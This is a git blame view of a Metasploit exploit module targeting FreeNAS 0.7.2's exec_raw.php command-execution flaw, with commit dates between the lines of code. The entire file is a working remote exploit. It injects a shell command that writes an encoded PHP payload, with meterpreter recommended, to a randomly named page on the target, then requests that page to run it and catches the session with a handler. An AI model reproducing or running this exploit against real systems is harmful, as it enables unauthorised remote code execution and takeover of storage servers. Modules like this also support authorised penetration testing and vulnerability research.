Files
metasploit-gs/modules/exploits/multi/http/freenas_exec_raw.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

72 lines
1.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2010-11-12 23:14:46 +00:00
include Msf::Exploit::Remote::HttpClient
2010-11-12 23:14:46 +00:00
def initialize(info = {})
super(update_info(info,
2010-11-24 19:35:38 +00:00
'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution',
2010-11-12 23:14:46 +00:00
'Description' => %q{
This module exploits an arbitrary command execution flaw
in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
to the exec_raw.php page, an attacker may be able to execute arbitrary
commands.
2010-11-12 23:14:46 +00:00
NOTE: This module works best with php/meterpreter payloads.
2010-11-12 23:14:46 +00:00
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94441' ],
2013-06-20 08:03:34 -05:00
[ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ]
2010-11-12 23:14:46 +00:00
],
'Payload' =>
{
'Space' => 6144,
'DisableNops' => true,
'BadChars' => "`\"' %&x",
},
'Targets' =>
[
[ 'Automatic Target', { } ]
],
2011-09-06 19:58:40 +00:00
'Privileged' => true,
2010-11-12 23:14:46 +00:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2010-11-06',
'DefaultTarget' => 0))
2010-11-12 23:14:46 +00:00
end
2010-11-12 23:14:46 +00:00
def exploit
page = rand_text_alpha_upper(rand(5) + 1 ) + ".php"
shellcode = payload.encoded
sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"
2010-11-12 23:14:46 +00:00
print_status("Sending exploit page '#{page}'")
2010-11-12 23:14:46 +00:00
res = send_request_raw(
{
2010-11-12 23:14:46 +00:00
'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),
}, 10)
if (res and res.code == 200)
print_status("Triggering payload...")
send_request_raw({ 'uri' => "/#{page}" }, 5)
handler
else
2017-07-21 07:41:51 -07:00
print_error("Exploit failed")
return
end
2010-11-12 23:14:46 +00:00
end
end